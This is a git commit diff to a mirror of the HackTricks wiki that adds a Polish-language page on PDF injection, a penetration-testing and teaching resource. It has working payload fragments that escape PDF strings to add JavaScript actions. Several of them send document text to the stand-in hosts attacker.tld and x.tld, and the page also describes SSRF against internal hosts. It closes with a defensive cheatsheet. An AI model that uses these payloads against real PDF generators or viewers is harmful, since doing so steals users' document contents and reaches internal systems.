mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/pentesting-web/xss-cross-site-scripting/pdf-injection.m
This commit is contained in:
parent
6275d7efb9
commit
727d2177eb
@ -1,7 +1,55 @@
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
**Jeśli twój input jest odzwierciedlany w pliku PDF, możesz spróbować wstrzyknąć dane PDF, aby wykonać JavaScript lub ukraść zawartość PDF.**
|
||||
|
||||
Sprawdź post: [**https://portswigger.net/research/portable-data-exfiltration**](https://portswigger.net/research/portable-data-exfiltration)
|
||||
# PDF Injection
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
**Jeśli twój input jest odzwierciedlany w pliku PDF, możesz spróbować wstrzyknąć dane PDF, aby wykonać JavaScript, przeprowadzić SSRF lub ukraść zawartość PDF.**
|
||||
Składnia PDF jest niezwykle elastyczna – jeśli możesz wydostać się z ciągu lub słownika, który osadza twój input, możesz dodać całkowicie nowe obiekty (lub nowe klucze w tym samym obiekcie), które Acrobat/Chrome chętnie zanalizuje.
|
||||
Od 2024 roku fala raportów o bug-bounty pokazała, że *jedna nieucieczona nawias lub ukośnik jest wystarczająca* do pełnego wykonania skryptu.
|
||||
|
||||
## TL;DR – Nowoczesny Workflow Ataku (2024)
|
||||
1. Znajdź dowolną wartość kontrolowaną przez użytkownika, która trafia do **(ciągu nawiasowego)**, `/URI ( … )` lub `/JS ( … )` w wygenerowanym PDF.
|
||||
2. Wstrzyknij `) ` (zamykając ciąg) po którym następuje jeden z poniższych prymitywów i zakończ kolejnym otwierającym nawiasem, aby zachować poprawność składni.
|
||||
3. Dostarcz złośliwy plik PDF do ofiary (lub do usługi backendowej, która automatycznie renderuje plik – świetne dla ślepych błędów).
|
||||
4. Twój ładunek działa w przeglądarce PDF:
|
||||
* Chrome / Edge → PDFium Sandbox
|
||||
* Firefox → PDF.js (zobacz CVE-2024-4367)
|
||||
* Acrobat → Pełne API JavaScript (może wyeksportować dowolne zawartości plików za pomocą `this.getPageNthWord`)
|
||||
|
||||
Przykład (przechwycenie linku adnotacji):
|
||||
```pdf
|
||||
(https://victim.internal/) ) /A << /S /JavaScript /JS (app.alert("PDF pwned")) >> /Next (
|
||||
```
|
||||
*Pierwszy `)` zamyka oryginalny ciąg URI, następnie dodajemy nowy **słownik Akcji**, który Acrobat wykona, gdy użytkownik kliknie link.*
|
||||
|
||||
## Przydatne Prymitywy Wstrzykiwania
|
||||
| Cel | Fragment Ładunku | Uwagi |
|
||||
|------|-----------------|-------|
|
||||
| **JavaScript przy otwarciu** | `/OpenAction << /S /JavaScript /JS (app.alert(1)) >>` | Wykonywane natychmiast po otwarciu dokumentu (działa w Acrobat, nie w Chrome). |
|
||||
| **JavaScript przy linku** | `/A << /S /JavaScript /JS (fetch('https://attacker.tld/?c='+this.getPageNumWords(0))) >>` | Działa w PDFium i Acrobat, jeśli kontrolujesz adnotację `/Link`. |
|
||||
| **Ślepe wyciek danych** | `<< /Type /Action /S /URI /URI (https://attacker.tld/?leak=)` | Połącz z `this.getPageNthWord` wewnątrz JS, aby ukraść treść. |
|
||||
| **Server-Side SSRF** | To samo co powyżej, ale celuj w wewnętrzny URL – świetne, gdy PDF jest renderowany przez usługi back-office, które honorują `/URI`. |
|
||||
| **Złamanie linii dla nowych obiektów** | `\nendobj\n10 0 obj\n<< /S /JavaScript /JS (app.alert(1)) >>\nendobj` | Jeśli biblioteka pozwala na wstrzykiwanie znaków nowej linii, możesz tworzyć zupełnie nowe obiekty. |
|
||||
|
||||
## Sztuczka Ślepej Enumeracji
|
||||
Gareth Heyes (PortSwigger) opublikował jedną linię kodu, która enumeruje każdy obiekt w nieznanym dokumencie – przydatne, gdy nie możesz zobaczyć wygenerowanego PDF:
|
||||
```pdf
|
||||
) /JS (for(i in this){try{this.submitForm('https://x.tld?'+i+'='+this[i])}catch(e){}}) /S /JavaScript /A << >> (
|
||||
```
|
||||
Kod iteruje po DOM Acrobat i wykonuje zewnętrzne żądania dla każdej pary właściwość/wartość, dając ci *JSON-owy* zrzut pliku. Zobacz dokument "Portable Data **ex**Filtration" dla pełnej techniki.
|
||||
|
||||
## Real-World Bugs (2023-2025)
|
||||
* **CVE-2024-4367** – Dowolne wykonanie JavaScript w PDF.js Firefoxa przed 4.2.67 omijało piaskownicę za pomocą spreparowanej akcji `/JavaScript`.
|
||||
* **Bug bounty 2024-05** – Główny fintech pozwolił na notatki faktur dostarczane przez klientów, które trafiły do `/URI`; raport zapłacono 10 tys. dolarów po wykazaniu SSRF do wewnętrznego hosta metadanych za pomocą URI `file:///`.
|
||||
* **CVE-2023-26155** – `node-qpdf` wstrzyknięcie polecenia przez niesanitowaną ścieżkę PDF pokazuje znaczenie ucieczki ukośników i nawiasów nawet *przed* warstwą PDF.
|
||||
|
||||
## Defensive Cheatsheet
|
||||
1. **Nigdy nie łącz surowego wejścia użytkownika** wewnątrz `(`…`)` ciągów lub nazw. Użyj ucieczki `\`, `(`, `)` zgodnie z §7.3 specyfikacji PDF lub użyj ciągów szesnastkowych `<...>`.
|
||||
2. Jeśli tworzysz linki, preferuj `/URI (https://…)`, które *w pełni* kodujesz URL; blokuj schematy `javascript:` w klientach.
|
||||
3. Usuń lub zwaliduj słowniki `/OpenAction`, `/AA` (dodatkowe akcje), `/Launch`, `/SubmitForm` i `/ImportData` podczas przetwarzania PDF.
|
||||
4. Po stronie serwera renderuj nieufne PDF-y za pomocą *konwertera bezgłowego* (np. qpdf –decrypt –linearize), który usuwa JavaScript i zewnętrzne akcje.
|
||||
5. Utrzymuj przeglądarki PDF w aktualizacji; PDF.js < 4.2.67 i Acrobat Reader przed lipcem 2024 pozwalają na trywialne wykonanie kodu.
|
||||
|
||||
## References
|
||||
* Gareth Heyes, “Portable Data exFiltration – XSS for PDFs”, PortSwigger Research (zaktualizowane maj 2024). <https://portswigger.net/research/portable-data-exfiltration>
|
||||
* Dawid Ryłko, “CVE-2024-4367: Arbitrary JavaScript Execution in PDF.js” (kwiecień 2024). <https://dawid.dev/sec/cve-2024-4367-arbitrary-javascript-execution-in-pdf-js>
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
Loading…
x
Reference in New Issue
Block a user